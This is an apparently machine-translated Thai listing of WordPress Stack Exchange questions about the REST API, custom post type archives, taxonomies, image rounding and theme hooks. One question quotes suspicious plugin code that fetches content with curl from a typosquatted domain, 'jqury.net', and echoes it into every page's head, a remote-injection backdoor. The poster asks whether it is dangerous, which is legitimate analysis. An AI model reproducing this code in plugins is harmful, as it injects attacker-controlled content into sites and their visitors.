WordPress

คำถาม & คำตอบสำหรับนักพัฒนา WordPress และผู้ดูแลระบบ

6
มีบางสิ่งที่เหมือนกับ is_rest () อยู่หรือไม่
ฉันเริ่มต้นเล็กน้อยกับ REST API หากฉันไม่ได้ทำให้เข้าใจผิดอย่างสมบูรณ์initเบ็ดการดำเนินการจะถูกดำเนินการเมื่อคำขอ REST API ตอนนี้ฉันต้องการรันโค้ดบางอย่างเท่านั้นเมื่อไม่ใช่คำขอ REST API ดังนั้นฉันจึงมองหาคำสั่งis_rest()เพื่อทำสิ่งที่ต้องการ <?php if( ! is_rest() ) echo 'no-rest-request'; ?> แต่ฉันไม่พบสิ่งนี้ มีการis_rest()ออกมีอะไรบ้าง
18 rest-api 

1
วิธีลบการเก็บถาวรชนิดโพสต์ที่กำหนดเอง
ฉันมีประเภทโพสต์ที่กำหนดเองที่เรียกว่า "สูตรอาหาร" โดยที่has_archiveพารามิเตอร์ตั้งค่าเป็นจริง การเยี่ยมชม mysite.com/recipe/ จะให้รายการเก็บถาวรพื้นฐานของสูตรทั้งหมดที่โพสต์และชื่อหน้าของ "สูตรอาหาร" จนถึงตอนนี้ดีมาก ตอนนี้ฉันกำลังมองหาที่จะปิดการใช้งานหน้าเก็บถาวรสูตรนั้น (แต่ให้การเชื่อมโยงสูตรอาหารแต่ละรายการทำงานได้) ความคิดแรกของฉันคือลองตั้งค่าhas_archiveเป็นเท็จซึ่งดูเหมือนว่าควรจะทำเคล็ดลับ Nope สิ่งที่ทำให้แตกต่างคือชื่อหน้าซึ่งด้วยเหตุผลบางอย่างจะกลายเป็นชื่อของเว็บไซต์ การเก็บถาวรที่แท้จริงยังคงปรากฏ วิธีที่ดีที่สุดในการลบการเก็บถาวรนั้นอย่างสมบูรณ์คืออะไร? มีพารามิเตอร์register_post_typeที่จะประสบความสำเร็จหรือเป็นไปไม่ได้และเป็นกรณีของเทมเพลตหน้าเว็บแบบกำหนดเองที่มีการเปลี่ยนเส้นทางหรือไม่ ขอบคุณ

3
การแนบข้อมูล taxonomy เพื่อโพสต์ด้วย wp_insert_post
ฉันกำลังพยายามใช้ระบบการโพสต์ส่วนหน้าซึ่งแสดงข้อมูล taxonomy ในหลาย ๆ ช่องเลือก แต่ละเมนูแบบเลื่อนลงเป็นชื่อโดยใช้ "ชื่อ" ใน$argwp_dropdown_categories() wp_dropdown_categories( array( 'taxonomy' => 'location', 'hide_empty' => 0, 'orderby' => 'name', 'order' => 'ASC', 'name' => 'location', ) ); ตามที่คุณเห็น taxonomy คือ "location" และชื่อที่เลือกคือ "location" ฉันจะเพิ่มตัวแปรสำหรับดร็อปดาวน์เลือก taxonomy เช่นนั้นพร้อมกับ post_title, post_content ฯลฯ : $title = trim( $_POST['wpuf_post_title'] ); $content = trim( $_POST['wpuf_post_content'] ); …

1
WordPress สร้าง URL ที่ Apache รู้จักได้อย่างไร
เมื่อคุณสร้างเพจใน WordPress มันเป็นเพียงรายการในตารางฐานข้อมูล ไม่มีไฟล์จริงที่ตำแหน่งนั้น อย่างไรก็ตามฉันสามารถสร้างไฟล์ที่ตำแหน่งนั้นด้วยตัวเองและมันจะขโมยหน้าออกจาก WordPress ฉันลบไฟล์และมันกลับไปที่หน้า WordPress อย่างราบรื่น ฉันแค่อยากรู้เกี่ยวกับความสำเร็จนี้ การสื่อสารบางอย่างเกิดขึ้นระหว่าง WordPress และ Apache (?)

3
จัดการปัญหาเกี่ยวกับการเปลี่ยนการปรับสเกลภาพ (การปัดเศษ) ใน 4.1 (WP Ticket # 18532)
ขณะนี้ฉันกำลังย้ายเนื้อหาของไซต์จากไซต์ก่อน 4.1 เก่าไปยังการตั้งค่าใหม่และตีปัญหาเกี่ยวกับปัญหาข้อผิดพลาดในการปัดเศษ# 18532และการแก้ไขที่เกี่ยวข้อง เพื่อสรุปสิ่งนี้คงเป็นพฤติกรรมที่ไม่เหมาะสมรอบด้านของ WordPress: ลองนึกภาพเราอัปโหลดภาพที่มี 693x173 และขยายเป็นความกว้าง 300: ก่อน 4.1: 300x74 โพสต์ 4.1: 300x75 ปัญหา โดยทั่วไปจะไม่ทำให้เกิดปัญหาใด ๆ เนื่องจากไฟล์ที่มีอยู่และ<img>ไม่ได้สัมผัส แต่เมื่อคุณ regenerating นิ้วหัวแม่มือหรือสิ่งที่แนบนำเข้าจากไฟล์ WXR ที่พวกเขาได้รับการสร้างขึ้นแตกต่างกันในระบบแฟ้มทิ้ง<img>ในpost_contentที่ตายแล้ว กำลังมองหาทางออก ฉันคิดถึงวิธีแก้ปัญหาต่าง ๆ : ย้อนกลับไปสู่ยุคสมัยที่เลวร้าย เซ็ตการแก้ไข 30660แนะนำตัวกรองใหม่wp_constrain_dimensionsซึ่งสามารถใช้เพื่อเสียบการทำงานแบบเก่าจากก่อนหน้า 4.1 กลับมาอีกครั้งนี่เป็นการแก้ไขปัญหา แต่ฉันสงสัยว่าสิ่งนี้อาจทำให้เกิดปัญหาในภายหลังและโดยทั่วไปฉันต้องการแก้ไขดังนั้นแม้ว่างานนี้ฉันจะถือว่าไม่เหมาะ เวลาที่พวกเขาอยู่ - ชางงี ดังนั้นสิ่งนี้ทำให้เรามีเป้าหมายอื่น: ทำความสะอาดฐานข้อมูลและแทนที่การอ้างอิงทั้งหมดไปยังไฟล์เก่าด้วยการอ้างอิงถึงไฟล์ใหม่ คำถามที่ฉันถามจริงที่นี่ตอนนี้เป็นวิธีการทำ ฉันกำลังมองหาวิธีการแก้ปัญหาที่มีประสิทธิภาพและสามารถนำไปใช้ได้โดยทั่วไปเนื่องจากฉันสงสัยว่าปัญหานี้จะเกิดขึ้นและจะส่งผลกระทบต่อผู้คนจำนวนมาก แนวคิดปัจจุบันของฉันคือ: นำเข้าสร้างใหม่หรืออะไรก็ตามที่ทำให้เรามีไฟล์ใหม่และแท็กที่ใช้งานไม่ได้ สร้างรายการ A จากไฟล์ที่ถูกปรับขนาดทั้งหมดในระบบไฟล์หรือรับข้อมูลนี้จากฐานข้อมูล แยกรายการนี้และสร้างรายการที่สอง B ที่มีชื่อไฟล์ทั้งหมดชดเชยโดยหนึ่งพิกเซลเช่นเดียวกับที่จะมองก่อน …
17 images  bug 

7
REST API มีวัตถุประสงค์อย่างไร?
ก่อนอื่นฉันเข้าใจว่านี่เป็นปลั๊กอินที่จุดปัจจุบัน แต่ส่วนใหญ่แล้วมันก็เกือบจะเป็นส่วนหนึ่งของ WordPress อยู่ดี ดังนั้นฉันหวังว่านี่จะไม่ถูกตั้งค่าสถานะเป็นนอกหัวข้อ ฉันได้อ่านเอกสารอย่างเป็นทางการบทความอื่น ๆ มากมายและดูวิดีโอการสอนแล้ว แต่ฉันยังไม่ได้รับคะแนน .. นี่เป็นอนาคตของ WordPress แน่นอนมันมีประโยชน์มากสำหรับการพัฒนาแอพมือถือและการใช้ / แชร์ข้อมูลระหว่าง ไซต์อื่น แต่: ทำอะไรกับเว็บไซต์ของฉันเท่านั้น พิจารณาสิ่งนี้: ฉันกำลังทำงานกับความคิดเห็น ฉันต้องการส่วนความคิดเห็นในการโหลดเฉพาะเมื่อผู้ใช้เลื่อนไปส่วนความคิดเห็น(กับ -200px ชดเชยเพื่อให้มีความล่าช้าไม่) ฉันจะเรียกการโทร ajax เมื่อผู้ใช้เลื่อนไปที่จุดนั้น Ajax call ส่งข้อมูลบางอย่างเช่นpost_id อื่น ๆ ทำงานWP_Comment_Query()ในเซิร์ฟเวอร์ ส่งJSONข้อมูลกลับไปยังลูกค้าที่มีความสัมพันธ์ความคิดเห็นชื่อเนื้อหาฯลฯ ใช้ JavaScript document.createElement()และinnerHTML อื่น ๆเพื่อสร้างและแสดงความคิดเห็น ตอนนี้ .. ทำไมฉันถึงต้องใช้ REST API แทน อะไรที่ใช้สำหรับฉัน Futureproof แค่ไหน? ฉันยังคงต้องใช้ JavaScript เพื่อการส่งออกข้อมูลทั้งหมดที่ฉันได้รับ …
17 rest-api 

3
remove_action บน after_setup_theme ไม่ทำงานจากธีมลูก
ฉันกำลังพยายามลบการดำเนินการของชุดรูปแบบสำหรับชุดรูปแบบที่หรูหราโดยใช้ชุดรูปแบบเด็ก .. ซึ่งจะทำงานเมื่อฉันลบการดำเนินการหลังจากรหัส add_action ที่ใดก็ได้ในหน้าที่หลักฟังก์ชั่น อย่างไรก็ตามมันไม่ทำงานเมื่อฉันเพิ่มจากฟังก์ชั่นธีมลูก remove_action ('after_setup_theme', 'et_pb_setup_theme' , 10); การดำเนินการลบมีลำดับความสำคัญเท่ากันกับการเพิ่มการกระทำ มันจะไม่ทำงานเหรอ add_action( 'after_setup_theme', 'et_pb_setup_theme' ); //parent theme add_action

2
WordPress ทำงานโดยไม่มีธีมหรือไม่?
WordPress ทำงานโดยไม่มีธีมหรือไม่? ถ้าเป็นเช่นนั้นมันทำงานอย่างไร โปรดอธิบายโดยย่อ หาก WordPress แสดงเนื้อหาโดยไม่มีธีมอะไรควบคุมเอาท์พุท?
17 themes 

3
โฮสต์ wp-admin บนโดเมนอื่นหรือไม่
currenly ฉันมีลูกค้าที่มี WordPress www.example.comทำงานบนสมมติว่า, ฉันกำลังทำงานกับเวอร์ชันใหม่โดยใช้เทคโนโลยี / ภาษาอื่นที่จะโฮสต์บนเซิร์ฟเวอร์อื่น .. แต่การบริหาร (WP) และฐานข้อมูลจะยังคงอยู่บนเซิร์ฟเวอร์เก่า ดังนั้นโดยทั่วไปฉันจะต้องชี้www.example.comไปที่โฮสต์ใหม่ (ไม่มีปัญหาที่นี่) และสร้างโดเมนย่อยแบบadmin.example.comที่จะชี้ไปที่เซิร์ฟเวอร์เก่าด้วยการติดตั้ง WP ฉันกลัวว่าสิ่งนี้จะทำให้เกิดความยุ่งเหยิงในฐานข้อมูลในขณะที่จัดเก็บoptionsและguidsสำหรับโพสต์และ URL ที่แนบมา ... พวกเขาจะถูกจัดเก็บเป็นadmin.example.comและไม่www.example.comฉันถูกต้องหรือไม่ วิธีทำให้ wp-admin ทำงานadmin.example.comและจัดเก็บ URL ในฐานข้อมูลเป็นwww.example.comอย่างไร สิ่งนี้จะใช้ได้กับลิงค์แสดงตัวอย่างด้วยหรือไม่

5
get_option () vs get_theme_mod (): ทำไมอันใดอันหนึ่งถึงช้ากว่า
ฉันใช้get_theme_mod()ไประยะหนึ่งในโครงการต่าง ๆ ของฉัน ฉันตัดสินใจที่จะใช้ประโยชน์จาก Theme Customization API ใน WordPress v3.4 เมื่อมันพร้อมใช้งานเพราะฉันรู้สึกว่ามันเป็นเครื่องมือที่จำเป็นสำหรับลูกค้าของฉันที่จะใช้ หลังจากนั้นครู่หนึ่งฉันเริ่มสังเกตเห็นว่าไซต์ของฉันรู้สึกซบเซากว่าปกติเล็กน้อยและ Customizer โดยเฉพาะใช้เวลาโหลดค่อนข้างนาน ผ่านความอุดมสมบูรณ์ของการทดลองและข้อผิดพลาดในระหว่างการสอบสวนของฉันฉันตัดสินใจที่จะลองสลับออกtypeเมื่อลงทะเบียนตั้งค่าของฉัน (คือ$wp_customize->add_setting()) จากการtheme_modoption เมื่อฉันทำสิ่งนี้และสลับการเรียกทั้งหมดของฉันget_theme_mod()ไปget_option()ฉันสังเกตเห็นความเร็วที่เพิ่มขึ้นอย่างมากโดยใช้การตั้งค่าหลังซึ่งตรงข้ามกับอดีตในส่วนหน้าและโดยเฉพาะอย่างยิ่งใน Customizer ที่ด้านหลัง ฉันได้ดูผ่านคอร์ของ WordPress ในความพยายามที่จะลองและหาคำตอบว่าทำไมถึงเป็นเช่นนี้ แต่ดูเหมือนจะไม่สามารถแยกแยะว่า hangup ใดที่อยู่ในสถานการณ์นี้ ข้อมูลเชิงลึกที่ชุมชนอาจมีเกี่ยวกับget_option()การดำเนินการอย่างมีนัยสำคัญเร็วกว่าที่get_theme_mod()จะได้รับการชื่นชมอย่างมาก

1
ความแตกต่างระหว่าง add_filter และ Apply_filters
ฉันค้นหาคำอธิบายที่เหมาะสมเกี่ยวกับความแตกต่างระหว่างadd_filter()และapply_filters()ที่นี่ แต่หาไม่พบ ใครสามารถบอกฉันว่าข้อมูลหรือตรรกะที่ต้องพิจารณาก่อนที่จะใช้add_filterหรือapply_filtersในบริบทเดียว นั่นทำให้การใช้สิ่งจำเป็นอย่างหนึ่งไม่ใช่สิ่งอื่น ถูกต้องหรือไม่ที่add_filterเพิ่งเพิ่มฟังก์ชั่นไปยังคิวของฟังก์ชันที่รอดำเนินการกับตัวแปรและapply_filtersดำเนินการตามลำดับหรือไม่? มันถูกต้องหรือไม่ว่าapply_filtersเมื่อเรียกด้วยอาร์กิวเมนต์ (ชื่อของฟังก์ชั่นที่จะเรียกใช้) จะดำเนินการฟังก์ชั่นนั้นก่อนที่คนอื่น ๆ ทั้งหมด (ถ้ามี) ในคิว?

1
วิธีรวมช่องทำเครื่องหมายในรูปแบบแบ็กเอนด์วิดเจ็ต?
ฉันกำลังพยายามรวมช่องทำเครื่องหมายในวิดเจ็ตแบ็กเอนด์ของฉัน แต่ฉันไม่สามารถรับค่า (เปิดหรือปิด) หลังจากที่ผู้ใช้ส่ง ฉันคิดว่าค่าจะถูกเก็บไว้ใน "esc_attr ($ check)" (เนื่องจากเมื่อใช้การป้อนข้อความ) แต่ฉันไม่สามารถเรียกคืนได้ นี่คือสิ่งที่ฉันพยายามตอนนี้: public function form( $instance ) { $check = isset( $instance[ 'check' ] ) ? $instance[ 'check' ] : 'off'; echo esc_attr( $check ); // If the input is type text it outputs the value ?> <input class="widefat" id="<?php echo …
17 php  widgets 

2
วิธีโหลด wp_editor ผ่าน AJAX
ไม่มีใครรู้ว่าวิธีการโหลด wp_editor ผ่าน AJAX ใน WordPress? มาร์กอัปและตัวแก้ไขของฉันกำลังโหลดอย่างถูกต้อง แต่ตัวควบคุมตัวแก้ไขไม่สามารถโหลดได้อย่างถูกต้องอาจเป็นเพราะ Javascript ไม่ทำงานในการโทร AJAX ความช่วยเหลือใด ๆ ที่จะได้รับการชื่นชม

2
ฉันพบสิ่งนี้ในปลั๊กอิน มันทำอะไร? มันอันตรายไหม
ฉันพบสิ่งนี้ในปลั๊กอิน มันทำอะไร? มันอันตรายไหม add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }

3
ซ่อนราคาและฟังก์ชั่นชำระเงินใน woocommerce
ฉันรู้ว่าคำถามนี้อาจกว้างเกินไป แต่ฉันกำลังมองหาทิศทาง ลูกค้าของฉันมีร้านค้า woocommerce ที่มีผลิตภัณฑ์ 30-40 รายการ ไม่ว่าจะด้วยเหตุผลใดก็ตามพวกเขาไม่ต้องการขายออนไลน์อีกต่อไป แต่พวกเขาต้องการเก็บหน้าผลิตภัณฑ์ข้อมูล ฯลฯ บนเว็บไซต์ของพวกเขา มีวิธีใช้ตะขอหรืออย่างอื่นเพื่อซ่อนสิ่งต่าง ๆ เช่นราคาเพิ่มปุ่มตะกร้า ฯลฯ ใน woocommerce หรือไม่ หรือฉันควรแก้ไขไฟล์เทมเพลต php?

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.